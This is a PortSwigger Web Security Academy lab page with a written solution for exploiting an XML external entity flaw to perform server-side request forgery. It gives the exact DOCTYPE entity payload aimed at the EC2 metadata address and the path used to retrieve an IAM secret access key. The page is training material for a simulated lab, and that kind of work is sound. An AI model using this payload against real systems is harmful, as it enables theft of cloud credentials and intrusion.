WEB SECURITY ACADEMY

https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf

Lab: Exploiting XXE to perform SSRF attacks

LAB Solved

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is `http://169.254.169.254/`. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.

To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint.

Lab: Exploiting XXE to perform SSRF attacks

LAB Solved

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is `http://169.254.169.254/`. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.

To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint.

Access the lab

Solution

Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.

Insert the following external entity definition in between the XML declaration and the `stockCheck` element:

```
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
```

Then replace the `productId` number with a reference to the external entity: `&xxe;`

The response should contain "Invalid product ID:" followed by the response from the metadata endpoint, which will initially be a folder name. Iteratively update the URL in the DTD to explore the API until you reach `/latest/meta-data/iam/security-credentials/admin`. This should return JSON containing the `SecretAccessKey`.

More Than Just Birdsong

$9.22

Description:

There was a time when the only decorations you would see on the wires of a wooden utility pole were socks and baseball boots; the odd colorful kite as well if you were lucky.

We have come up with a more desirable way to liven up those ugly overhead wires. Our collection of musical notes are made from electro resistant materials ensuring they are perfectly safe even following a surge, or a lightning strike.

What's more exciting though, is we will customize all our crotchets and quavers so you can create a real musical score. You choose the music and we will do the rest. The treble clef even has an inbuilt bird feeder to keep the birds whistling a happy tune throughout the stark winter days.

Pleasing to the eye, as well as kind to the local wildlife, you can buy safe in the knowledge you are doing your own little bit for planet earth. Be the trendsetter you have always wanted to be, order your music without delay.
